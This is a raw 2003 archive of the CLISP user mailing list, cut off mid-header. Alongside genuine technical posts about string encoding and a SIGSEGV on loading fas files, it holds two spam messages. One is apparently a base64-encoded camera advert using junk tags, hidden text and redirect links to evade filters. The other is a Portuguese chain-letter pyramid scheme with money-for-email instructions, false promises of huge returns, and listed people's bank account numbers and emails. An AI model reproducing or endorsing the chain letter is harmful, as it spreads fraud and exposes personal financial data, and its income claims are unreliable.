PC9jZGk1PjwvbzhjeT48L2kzMm8+PC9rZjl2PjwvanpjYT48L3QwNnU+PC9h Z2wxPjwvZTg0MD48L3VvMHI+PC9zN3E1Pjwvb2t6NT48L25pZDM+PC9vdXlo PjwvZDM2bj48L3oyYzI+PC94YjkyPjwvbDgwbD48L2ZyMzc+PC93ZTlsPjwv ZjB1dT48L3kyOTM+PC9iZ2N1PjwvcTA5Mz48L2kyYzQ+PC9obnY5PjwvdGQ+ DQogICAgPHFxMnUgLz4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDxqZzA3IC8+ DQogICAgPHRkIHdpZHRoPSIzNTQiIGhlaWdodD0iMTU5Ij4NCiAgICA8Y3Ro Mz4NCiAgICA8Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNh LCBzYW5zLXNlcmlmIiBjb2xvcj0iIzAwMzM5OSIgc2l6ZT0iMiI+DQogICAg PGI+VXNlIHlvdXINCiAgICA8ZTgzNz4NCiAgICA8eTM4dT5QPGFiazU+cmVj PHNkamE+aTxmMjY1PjxqMzdpPjxqNGt3PnNpb24gTWluaWNhbSB0by4uLjxu ZXNwPjwvbmVzcD48L2o0a3c+PC9qMzdpPjwvZjI2NT48L3NkamE+PC9hYms1 PjwveTM4dT48L2U4Mzc+PC9iPjxlODM3PjxmMjY1PjxqMzdpPjxqNGt3Pjxz ZGphPjxhYms1Pjx5Mzh1PjxkNTFhPjxuZXNwPjwvbmVzcD48L2Q1MWE+PC95 Mzh1PjwvYWJrNT48L3NkamE+PC9qNGt3PjwvajM3aT48L2YyNjU+PC9lODM3 PjwvZm9udD48ZTgzNz48ZjI2NT48ajM3aT48ajRrdz48c2RqYT48YWJrNT48 eTM4dT48ZDUxYT48bmVzcD4NCiAgICA8Zm9udCBmYWNlPSJWZXJkYW5hLCBB cmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIj4NCiAgICA8 dWw+DQogICAgICA8bGk+RWQ8aTBxZD5pdCBhPGoyMzc+bjx4OXZjPmQgbW88 d2I3aT5kaWZ5DQogICAgICA8c2w0Nz55PGkxYnM+PGg4d2Y+PHFpNTQ+b3Vy PHVkNjg+IGltYWdlcyB3aXRoPHgya3c+DQogICAgICA8eTd3YT5QcmVjaXM8 emxuNT48dmlsND5pb24gQ2FtJzxzYzd5PnMgaW5jbHVkZWQgc29mPG14YzE+ dHdhcmUhIDwvbGk+DQogICAgICA8bGk+QnI8YnJpZT5vYTxvZjc5PmRjYXN0 IHlvdXJzZWxmIGxpdmUgb3Y8eTYzNz5lcg0KICAgICAgPHZ3Nmw+DQogICAg ICA8dzV6OD50aGUNCiAgICAgIDxwOWY2Pg0KICAgICAgPHVhNGE+SW50ZTxt NjQ5PnJuZTx6Mm14PnQgYjxnamZ1PnkgdXNpbmcNCiAgICAgIDxwYXViPg0K ICAgICAgPGNwdXM+dGhlDQogICAgICA8aTFxZT5XZTxlMXkxPmJjYW0gZmVh dHVyZSEgPC9saT4NCiAgICAgIDxsaT5DYXB0dXJlIGZ1bGwtbTxlZjJiPm90 PGg3cjk+aW9uIHZpZGU8bW4wMj48aTN4dD48YzE2eD48amRoNz5vISA8L2xp Pg0KICAgICAgPGxpPlRhPHdlMDY+a2U8ZHkwNz4gaDxwZjVzPjx0NTJmPmln aC1xdWE8djQ0Zj5saTxoM2lpPnR5IGRpZzxiamxmPml0PHd5Mjc+YWwNCiAg ICAgIHN0aTxteXQ0PmxsPGdtM2o+IGk8cjJycD5tYWc8b2dtbT48ajUzaD5l PGMwNzQ+IHBob3RvcyE8ZGx2MD4NCiAgICAgIDxoMzQyPjwvbGk+DQogICAg PC91bD4NCiAgICA8YTQ4dz48L2E0OHc+DQogICAgPC9oMzQyPg0KICAgIDwv ZGx2MD4NCiAgICA8L2MwNzQ+DQogICAgPC9qNTNoPg0KICAgIDwvb2dtbT4N CiAgICA8L3IycnA+DQogICAgPC9nbTNqPg0KICAgIDwvbXl0ND4NCiAgICA8 L3d5Mjc+DQogICAgPC9iamxmPg0KICAgIDwvaDNpaT4NCiAgICA8L3Y0NGY+ DQogICAgPC90NTJmPg0KICAgIDwvcGY1cz4NCiAgICA8L2R5MDc+DQogICAg PC93ZTA2Pg0KICAgIDwvamRoNz4NCiAgICA8L2MxNng+DQogICAgPC9pM3h0 Pg0KICAgIDwvbW4wMj4NCiAgICA8L2g3cjk+DQogICAgPC9lZjJiPg0KICAg IDwvZTF5MT4NCiAgICA8L2kxcWU+DQogICAgPC9jcHVzPg0KICAgIDwvcGF1 Yj4NCiAgICA8L2dqZnU+DQogICAgPC96Mm14Pg0KICAgIDwvbTY0OT4NCiAg ICA8L3VhNGE+DQogICAgPC9wOWY2Pg0KICAgIDwvdzV6OD4NCiAgICA8L3Z3 Nmw+DQogICAgPC95NjM3Pg0KICAgIDwvb2Y3OT4NCiAgICA8L2JyaWU+DQog ICAgPC9teGMxPg0KICAgIDwvc2M3eT4NCiAgICA8L3ZpbDQ+DQogICAgPC96 bG41Pg0KICAgIDwveTd3YT4NCiAgICA8L3gya3c+DQogICAgPC91ZDY4Pg0K ICAgIDwvcWk1ND4NCiAgICA8L2g4d2Y+DQogICAgPC9pMWJzPg0KICAgIDwv c2w0Nz4NCiAgICA8L3diN2k+DQogICAgPC94OXZjPg0KICAgIDwvajIzNz4N CiAgICA8L2kwcWQ+DQogICAgPC9mb250PjwvbmVzcD4NCiAgICA8L2Q1MWE+ DQogICAgPC95Mzh1Pg0KICAgIDwvYWJrNT4NCiAgICA8L3NkamE+DQogICAg PC9qNGt3Pg0KICAgIDwvajM3aT4NCiAgICA8L2YyNjU+DQogICAgPC9lODM3 Pg0KICAgIDwvY3RoMz4NCiAgICA8L3RkPg0KICAgIDx0ZCB2QWxpZ249InRv cCIgYWxpZ249ImxlZnQiIHdpZHRoPSIyMTAiIGhlaWdodD0iMTU5Ij4NCiAg ICA8YWtwaj4NCiAgICA8Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVs dmV0aWNhLCBzYW5zLXNlcmlmIiBjb2xvcj0iI2ZmMDAwMCIgc2l6ZT0iMiI+ DQogICAgVGhlPGw3NWY+PHFiMDY+IFA8Yjh3Nz5yZTxhNWY3PmNpPGs5azI+ czxncDc4PmlvPHhsZHQ+PGI0ajg+biBDPG50NWY+PHgwN2w+YW08dDkyNz4N CiAgICBpcyBhbiBhbWE8eDNtdT56aW5nPHM1aXc+PHE3cHo+bHk8cm43dj4g dmVyc2F0aTxxc2FwPjx1N3dxPjxwczk1Pmw8eWYwaD5lDQogICAgY2FtZTxp NGU1PnI8cXdsMD48cWppYj5hDQogICAgPGQ5dGw+dGhhdDx5cDZmPg0KICAg IDxwYjE2PmNhbjxucjkzPiBhY2NvbXBsPG9sdDA+aXNoIGV2ZTxidXFsPnJ5 dGhpbmcgaXRzICZxdW90O2JpZw0KICAgIDxmMmkwPmJybzxjaDR6PnRoPHJ0 aGE+ZXJzJnF1b3Q7IGNhbiwgYXQ8bDBiaT4NCiAgICA8bzY3cz5hYjxzMHE2 Pm91dCAxPHg0Nmc+PHp2Mzc+LzEwDQogICAgPG84dDA+b2YgdGhlIHNpemUg YW5kIHByPHAzM3A+aWM8Zjg0dj5lITxicj4NCiAgICA8YnI+DQogICAgPG84 ZmY+PGZvbnQgY29sb3I9IiMwMDAwMDAiPlc8ZXlyMD5oPGRoYmE+ZW4NCiAg ICA8ZWw5aD55b3VyIGRpZ2l0YWwNCiAgICA8aTRiaT5zPHJrNDQ+dGlsbC88 cjRiaD52aWRlbyBjYW1lcjxhc3FxPjxwNnNxPmEgaXMgb24NCiAgICA8cjFz NT55b3VyPGNoOTg+PHI3MDY+IGtleWNoPGQ4dzg+YWluLDx6MzMyPiB5PGFu OG4+b3U8eW5qMj48azVoaT4ncmUNCiAgICA8YzcwdT5hbHc8bXB1cT5heTxn c3BkPnMNCiAgICA8djU4OT4NCiAgICA8aDY2bj5yZTxvM3dxPjxwNmlhPmFk eSB0byBjYXB0dXJlIHQ8Y2xlMj5oYTxleWZ1PnQgb248bTh6ND5jZS1pPGh1 NWY+bi1hPG9sNWg+LWxpZjx5OTZzPmV0aW1lPGEybzA+DQogICAgbW9tZTxy OTB1Pm50PG40Zms+ISE8L240Zms+PC9mb250PjwvcjkwdT48L2EybzA+PC95 OTZzPjwvb2w1aD48L2h1NWY+PC9tOHo0PjwvZXlmdT48L2NsZTI+PC9wNmlh PjwvbzN3cT48L2g2Nm4+PC92NTg5PjwvZ3NwZD48L21wdXE+PC9jNzB1Pjwv azVoaT48L3luajI+PC9hbjhuPjwvejMzMj48L2Q4dzg+PC9yNzA2PjwvY2g5 OD48L3IxczU+PC9wNnNxPjwvYXNxcT48L3I0Ymg+PC9yazQ0PjwvaTRiaT48 L2VsOWg+PC9kaGJhPjwvZXlyMD48YXNxcT48Y2g5OD48eW5qMj48djU4OT48 bzN3cT48cjkwdT48YTJvMD48eTk2cz48b2w1aD48aHU1Zj48bTh6ND48ZXlm dT48Y2xlMj48cDZpYT48aDY2bj48Z3NwZD48bXB1cT48YzcwdT48azVoaT48 YW44bj48ejMzMj48ZDh3OD48cjcwNj48cjFzNT48cDZzcT48cjRiaD48cms0 ND48aTRiaT48ZWw5aD48ZGhiYT48ZXlyMD48bjRmaz4NCiAgICA8aWoxNz48 L2lqMTc+DQogICAgPC9uNGZrPg0KICAgIDwvZXlyMD4NCiAgICA8L2RoYmE+ DQogICAgPC9lbDloPg0KICAgIDwvaTRiaT4NCiAgICA8L3JrNDQ+DQogICAg PC9yNGJoPg0KICAgIDwvcDZzcT4NCiAgICA8L3IxczU+DQogICAgPC9yNzA2 Pg0KICAgIDwvZDh3OD4NCiAgICA8L3ozMzI+DQogICAgPC9hbjhuPg0KICAg IDwvazVoaT4NCiAgICA8L2M3MHU+DQogICAgPC9tcHVxPg0KICAgIDwvZ3Nw ZD4NCiAgICA8L2g2Nm4+DQogICAgPC9wNmlhPg0KICAgIDwvY2xlMj4NCiAg ICA8L2V5ZnU+DQogICAgPC9tOHo0Pg0KICAgIDwvaHU1Zj4NCiAgICA8L29s NWg+DQogICAgPC95OTZzPg0KICAgIDwvYTJvMD4NCiAgICA8L3I5MHU+DQog ICAgPC9vM3dxPg0KICAgIDwvdjU4OT4NCiAgICA8L3luajI+DQogICAgPC9j aDk4Pg0KICAgIDwvYXNxcT4NCiAgICA8L284ZmY+DQogICAgPC9mODR2Pg0K ICAgIDwvcDMzcD4NCiAgICA8L284dDA+DQogICAgPC96djM3Pg0KICAgIDwv eDQ2Zz4NCiAgICA8L3MwcTY+DQogICAgPC9vNjdzPg0KICAgIDwvbDBiaT4N CiAgICA8L3J0aGE+DQogICAgPC9jaDR6Pg0KICAgIDwvZjJpMD4NCiAgICA8 L2J1cWw+DQogICAgPC9vbHQwPg0KICAgIDwvbnI5Mz4NCiAgICA8L3BiMTY+ DQogICAgPC95cDZmPg0KICAgIDwvZDl0bD4NCiAgICA8L3FqaWI+DQogICAg PC9xd2wwPg0KICAgIDwvaTRlNT4NCiAgICA8L3lmMGg+DQogICAgPC9wczk1 Pg0KICAgIDwvdTd3cT4NCiAgICA8L3FzYXA+DQogICAgPC9ybjd2Pg0KICAg IDwvcTdwej4NCiAgICA8L3M1aXc+DQogICAgPC94M211Pg0KICAgIDwvdDky Nz4NCiAgICA8L3gwN2w+DQogICAgPC9udDVmPg0KICAgIDwvYjRqOD4NCiAg ICA8L3hsZHQ+DQogICAgPC9ncDc4Pg0KICAgIDwvazlrMj4NCiAgICA8L2E1 Zjc+DQogICAgPC9iOHc3Pg0KICAgIDwvcWIwNj4NCiAgICA8L2w3NWY+DQog ICAgPC9mb250Pg0KICAgIDxmMWIyIC8+PC9ha3BqPg0KICAgIDwvdGQ+DQog IDwvdHI+DQo8L3RhYmxlPg0KPEJSPg0KPHRhYmxlIHdpZHRoPSI1NjIiPg0K ICA8dHIgaGVpZ2h0PSIyMCI+DQogICAgPHRkIHdpZHRoPSI2MCI+DQogICAg PGZzODAgLz48L3RkPg0KICAgIDx0ZCBhbGlnbj0ibWlkZGxlIiB3aWR0aD0i MTgwIiBiYWNrZ3JvdW5kPSIiPg0KICAgIDxoOTNwPg0KICAgIDxyNDUzPg0K ICAgIDxraDVlPg0KICAgIDxwNXU4Pg0KICAgIDxiPjxhIGhyZWY9Imh0dHA6 Ly93d3cuby5jb21fX19fQHJkLnlhaG9vLmNvbS9iZGp4anBrL28vKmh0dHA6 Ly93d3cuZWFzeS1tbmt5LmNvbS9jYW02LyI+Q0xJQ0sgSEVSRSBGT1IgTU9S RSBJTkZPUk1BVElPTjwvYT48L2I+IDwvcDV1OD4NCiAgICA8L2toNWU+DQog ICAgPC9yNDUzPg0KICAgIDwvaDkzcD4NCiAgICA8L3RkPg0KICAgIDx0ZD4N CiAgICA8dHZ3eCAvPjwvdGQ+DQogICAgPHRkIGFsaWduPSJtaWRkbGUiIHdp ZHRoPSIxODAiIGJhY2tncm91bmQ9IiI+DQogICAgPHE0NzA+DQogICAgPGI+ PGEgaHJlZj0iaHR0cDovL3d3dy5vLmNvbV9fX19AcmQueWFob28uY29tL2Jk anhqcGsvby8qaHR0cDovL3d3dy5tbmt5Y2hhdC5jb20vY2FtNi8iPkNMSUNL IEhFUkUgRk9SIE1PUkUgSU5GT1JNQVRJT048L2E+PC9iPjxxMnRsPjxvNHky Pg0KICAgIDx3OTN5Pg0KICAgIDxueHY1IC8+PC93OTN5Pg0KICAgIDwvbzR5 Mj4NCiAgICA8L3EydGw+DQogICAgPC9xNDcwPg0KICAgIDwvdGQ+DQogICAg PHRkPiZuYnNwOzwvdGQ+DQogICAgPGJxNnMgLz4NCiAgICA8aWszYiAvPg0K ICAgIDxjMDNrIC8+DQogIDwvdHI+DQogIDxsMjhrIC8+DQo8L3RhYmxlPg0K PHAxcnYgLz4NCjxwczhvIC8+DQo8QlI+PEJSPjxCUj48QlI+PEJSPjxCUj48 QlI+DQo8Y2VudGVyPg0KPGZvbnQgc2l6ZT0iMSI+DQpUbyBiZSB0YWtlbiBv ZmYgb3VyIGxpc3QgPGEgaHJlZj0iaHR0cDovL2h0dHA6Ly93d3cuby5jb21f X19fQHJkLnlhaG9vLmNvbS9iZGp4anBrL28vKnd3dy5raWxsZXJkZWFsei5u ZXQvcmVtb3ZlL2luZGV4Lmh0bWwvP2JkanhqcGsiPkNsaWNrIEhlcmU8L2E+ DQo8L2ZvbnQ+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjxmb250IGNvbG9yPSIj ZmZmZmZmIj4wNTM5c0ttUDYtODQ2UmwxMzwvZm9udD4NCjwvZm9udD4NCjwv Ym9keT4NCjxmb250IGNvbG9yPSIjZmZmZmZmIj43N3FDVDg2djAyDQo0MzUx MDY2NjM4NzY3MTc4ODIzMjgzNDEyODQ4NzMxODc0NzY3MjE3NzE1MTIzNDc4 MTc2NzQwNjE1MDAzNjAwMjc1NzcxMzI2NzI1MjUzNjQ4NzczODAzNzczMzI0 NjgxNTgwNTQ3NDc1MTMzNjI0NDEyMjg3PC9mb250Pg0KPC9odG1sPg0KPEJS PjxCUj48QlI+PEJSPjxCUj48QlI+PEJSPjxCUj48QlI+PEJSPjxCUj48QlI+ DQo8L2h0bWw+DQo1MjIydFdsdjAtbDk= From sds@gnu.org Thu May 08 09:59:29 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Dojw-0003hv-00 for ; Thu, 08 May 2003 09:59:28 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop016.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030508165922.EWQH3199.pop016.verizon.net@loiso.podval.org>; Thu, 8 May 2003 11:59:22 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h48H039u030918; Thu, 8 May 2003 13:00:03 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h48H02bY030914; Thu, 8 May 2003 13:00:02 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RFE: convert-string-to-bytes and encoding's :line-terminator References: <9F8582E37B2EE5498E76392AEDDCD3FE04159633@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04159633@G8PQD.blf01.telekom.de> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [68.160.9.251] at Thu, 8 May 2003 11:59:21 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 8 10:00:11 2003 X-Original-Date: 08 May 2003 13:00:02 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE04159633@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] RFE: convert-string-to-bytes and encoding's :line-terminator" > * Sent on Wed, 7 May 2003 10:18:40 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > I'd appreciate a mode where conversion from a Lisp string to bytes > would respect the encoding's :line-terminator. I.e., I could choose > among CR, LF or CRLF being written to byte arrays. I think the idea was that CONVERT-STRING-TO-BYTES should be used on strings returned by READ-LINE and thus #\Newline-free. Please feel free to fix this bug. Note that wr_ch_array_unbuffered_dos and friends already do something similar, so you may be able to extract a common subset. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Whether pronounced "leenooks" or "line-uks", it's better than Windows. From lisp-clisp-list@m.gmane.org Thu May 08 11:31:46 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19DqBD-0000xY-00 for ; Thu, 08 May 2003 11:31:44 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19Dq9j-0006Ct-00 for ; Thu, 08 May 2003 20:30:11 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19DlzV-0000g3-00 for ; Thu, 08 May 2003 16:03:21 +0200 From: "Blake McBride" Lines: 43 Message-ID: X-Complaints-To: usenet@main.gmane.org X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Subject: [clisp-list] CLISP 2.30 SIGSEGV Error on fas load Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 8 12:11:37 2003 X-Original-Date: Thu, 8 May 2003 09:04:48 -0500 Greetings, I am using CLISP 2.30 on Windows with SnePs 2.6.0 (http://www.cse.buffalo.edu/sneps/) I can compile the whole system without a problem but when I attempt to load the .fas files I get: [....] ;; Loading ATN C:\sneps\snepslog\recognizer\recognizer.atn ;; Loading ATN C:\sneps\snepslog\generator\generator.atn ;; Loading file C:\sneps\snepslog\printer.fas ... ;; Loaded file C:\sneps\snepslog\printer.fas ;; Loading file C:\sneps\snepslog\reader.fas ... ;; Loaded file C:\sneps\snepslog\reader.fas ;; Loading file C:\sneps\snepslog\snepslog.fas ... ;; Loaded file C:\sneps\snepslog\snepslog.fas ;; Loading file C:\sneps\snepslog\commands.fas ... ;; Loaded file C:\sneps\snepslog\commands.fas ;; Loading file C:\sneps\snepslog\toplevel.fas ... ;; Loaded file C:\sneps\snepslog\toplevel.fas ;; Loading file C:\sneps\snepslog\tellask.fas ... ;; Loaded file C:\sneps\snepslog\tellask.fas ;; Loading file C:\sneps\snepslog\mode3.cl ... ;; Loaded file C:\sneps\snepslog\mode3.cl ;; Loading file C:\sneps\snepslog\snepslog-perform.cl ... ;; Loaded file C:\sneps\snepslog\snepslog-perform.cl ;; Loading file C:\sneps\nlint\englex\lenglex.fas ... ;; Loaded file C:\sneps\nlint\englex\lenglex.fas *** - handle_fault error2 ! address = 0x1A594E74 not in [0x1A400000,0x1A50EA7C) ! SIGSEGV cannot be cured. Fault address = 0x1A594E74. C:\Sneps> Any help would be appreciated. Blake McBride blake@mcbride.name From jorge_t@netvisao.pt Fri May 09 05:24:58 2003 Received: from front2.netvisao.pt ([213.228.128.57]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19E6vq-0005pd-00 for ; Fri, 09 May 2003 05:24:58 -0700 Received: (qmail 29240 invoked from network); 9 May 2003 12:23:52 -0000 Received: from unknown (HELO ergocons-no2nsh) (217.129.129.78) by front2.netvisao.pt with SMTP; 9 May 2003 12:23:52 -0000 From: "Jorge T" To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Reply-To: jorge_t@netvisao.pt Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: Subject: [clisp-list] Contra Factos..... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 9 05:25:13 2003 X-Original-Date: Fri, 9 May 2003 13:24:52 +0100 Por favor leia até ao fim, são apenas 3 ou 4 minutos que poderão mudar o resto da sua vida. Se não tem tempo agora, deixe para mais logo mas leia com calma. Isto é um assunto muito sério, encare-o como tal. Factos: Pode perder seis euros (no máximo dos máximos) o que não é propriamente uma fortuna. Vai gastar 10 minutos do seu tempo. Vai precisar duma caixa multibanco. Pode ganhar muito dinheiro (mas mesmo muito). Como? Basta ler e perceber as instruções. Vamos a isto! INSTRUÇÕES 1. Deposite 1,00 (Um Euro) na conta de cada uma das seis pessoas que estão indicadas na listagem abaixo. Isto pode ser feito de duas formas: (1) transferência bancaria em qualquer caixa multibanco, através do NIB indicado ou (2) depósito na conta-corrente, usando o nº que está na listagem. 2. Quando depositar Euro 1,00 (Um Euro) na conta-corrente das seis pessoas da lista, envie um e-mail para cada uma delas com o seguinte texto: "Solicito que meu nome/e-mail seja incluído no seu cadastro de correspondências". Esta é a chave do programa! Torna legalizada a operação bancaria e fica de acordo com a legislação vigente. A legislação diz que todo dinheiro recebido deve ser trocado por um produto ou serviço. Este é o serviço! (Posteriormente, as pessoas que fizerem depósitos na sua conta-corrente farão o mesmo.) 3. Após ter depositado Euro 1,00 (Um Euro) em cada uma das seis pessoas, tire o nome da que esta no número 1 (um) e mude os nomes restantes para uma posição acima (o segundo nome passa para o nº 1, o terceiro para o nr. 2 e assim por diante). Em nenhuma hipótese mude a sequência de nomes. Não coloque o seu nome numa posição diferente, porque além de não ser eticamente correcto, só o vai prejudicar. 4. Coloque no seu "livro de endereços" aproximadamente 250 nomes/e-mails. Esta é a parte mais complicada da tarefa. Tente consegui-los através de alguma empresa que forneça listagens de e-mails, u tente consegui-los de qualquer outra forma (em classificados por exemplo). Quantos mais melhor. 5. Completada a etapa anterior (4), envie esta mensagem para esses e-mails. 6. Siga estrita e exactamente as instruções deste programa e dentro de aproximadamente 90 dias você poderá receber, se as pessoas para quem você enviou os e-mails entrarem, mais de 100.000,00 Euros (Cem mil Euros). Eu sei, é muito dinheiro.... COMO FUNCIONA Digamos que você tenha, por exemplo, um retorno de 3% dos e-mails enviados, o que é uma estimativa bastante conservadora. Nas minhas duas tentativas tive mais do que 3% de retorno. 1. Quando você manda 250 e-mails com a carta, cerca de 7 pessoas lhe mandam 1 Euro. 2. Essas 7 pessoas enviam 250 e-mails, cerca de 52 pessoas lhe mandam 1 Euro 3. Essas 52 pessoas enviam 250 e-mails, cerca de 390 pessoas lhe mandam 1 Euro. 4. Essas 390 pessoas enviam 250 e-mails, cerca de 2.925 pessoas lhe mandam 1 Euro. 5. Essas 2.925 pessoas enviam 250 e-mails, cerca de 21.937 pessoas lhe mandam 1 Euro. 6. Essas 21.937 pessoas enviam 250 e-mails, cerca de 164.527 pessoas lhe mandam 1 Euro. E segue assim, numa progressão geométrica. Em algum ponto o seu nome sairá da lista, dando oportunidade para outras pessoas. Mas, voce recebeu aproximadamente Euros 199.498,00 (como aconteceu no meu caso). Isso funciona sempre. No exemplo acima, você terá enviado 250 cartas/e-mails. Se voce enviar 1.000 cartas/e-mails, pode chegar a receber Euros 898.072,00 - que foi o que recebi. Fantástico, não e verdade? EIS A RELAÇÃO DAS PESSOAS PARA AS QUAIS VOCÊ FARÁ O DEPOSITO BANCÁRIO OU TRANSFERENCIA BANCARIA - Euro 1,00. OBS.: - (Basta chegar a qualquer dependência do banco em questão e requerer para fazer o deposito naquele numero de conta ou simplesmente fazer uma transferencia bancaria via Internet (caso tenha esse serviço disponível com o seu banco) ou por Multibanco, utilizando sempre para o efeito o NIB da conta). 1. J. Tiago G. F. - B.P.A - Banco Portugues Atlantico - Nova rede Agencia 692 Conta nr : 190744681 NIB: 0033 0000 00190744681 05 E-mail: jtgf_carta@yahoo.com.br 2. Jose G. P. R. - BANIF - Banco Internacional do Funchal Agencia Campo Alegre Conta nr : 72/0007438207710 NIB: 0038 0072 00743820771 85 E-mail: josegpr@oninet.pt 3. Ricardo F. V. S. - BPSM - Banco Pinto & Souto Mayor - Agência de Valongo conta nr : 2480225136 NIB: 0033 0000 02480225136 18 E-mail: rsantoos@portugalmail.com 4. Tânia S.R.P. - BCP - Nova Rede agencia de Santarém Hospital Conta nr: 200403456 NIB: 0033 0000 00200403456 05 E-mail: tania.nelson@netc.pt 5. P. Miguel S. A. S. - BPI - Banco BPI - agência Ilhavo Conta nr: 2142808000001 NIB: 0010 0000 21428080001 34 E-mail: pms32@portugalmail.pt 6. Jorge T. - BPI Conta nº 1 - 4163410 - 0001 NIB: 0010 0000 41634100001 72 E-mail: jorge_t@netvisao.pt Obs.: Imprima essa lista. Importante: Repare que todos os nomes que constam da lista não estão completos. Esse anonimato é propositado. Tem a finalidade de preservar as pessoas e, ao mesmo tempo, cumprir um ritual de varias tradições espirituais: "Fazer o Bem sem olhar a Quem". Faca o mesmo com o seu nome. OBSERVAÇÕES 1. Não envie essa mensagem como anexo, pois algumas pessoas evitam abrir com medo que contenha vírus. 2. Siga exactamente as instruções contidas nesta carta/e-mail. 3. Não mude, em nenhuma circunstancia, a sequência dos nomes da listagem. A única excepção, evidentemente, e excluir o que estiver em primeiro lugar e incluir o seu nome na sexta posição da lista. 4. Não se esqueça de enviar um e-mail para cada uma das pessoas da listagem, solicitando que elas incluam seu nome/e-mail "na lista de correspondências" delas. Isso caracteriza um serviço e da respaldo legal aos depósitos bancários. COMENTARIO FINAL (Esta carta foi escrita por Joao Carlos W.F., e é a mesma (original) recebida pelos constantes da lista acima - você poderá usar a mesma ou modifica-la contando a sua própria historia, desde que seja VERDADEIRA) ATENCAO: Caso esta carta chegue mais que uma vez a sua caixa de correio, por favor não considere, e queira desculpar qualquer transtorno que lhe possa causar. Obrigado! From ampy@ich.dvo.ru Fri May 09 07:23:26 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19E8mI-0003zF-00 for ; Fri, 09 May 2003 07:23:14 -0700 Received: from ppp108-AS-2.vtc.ru (ppp108-AS-2.vtc.ru [212.16.216.108]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h49EMALE026558; Sat, 10 May 2003 01:22:15 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <5622021044.20030510012735@ich.dvo.ru> To: "Blake McBride" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP 2.30 SIGSEGV Error on fas load In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 9 07:24:07 2003 X-Original-Date: Sat, 10 May 2003 01:27:35 +1000 > ;; Loaded file C:\sneps\nlint\englex\lenglex.fas > *** - handle_fault error2 ! address = 0x1A594E74 not in > [0x1A400000,0x1A50EA7C) > ! > SIGSEGV cannot be cured. Fault address = 0x1A594E74. C:\Sneps>> > Any help would be appreciated. Too few information. What's supposed to happen after loading of lenglex.fas in generator.atn ? -- Best regards, Arseny From sds@gnu.org Fri May 09 07:45:13 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19E97Z-0003lC-00 for ; Fri, 09 May 2003 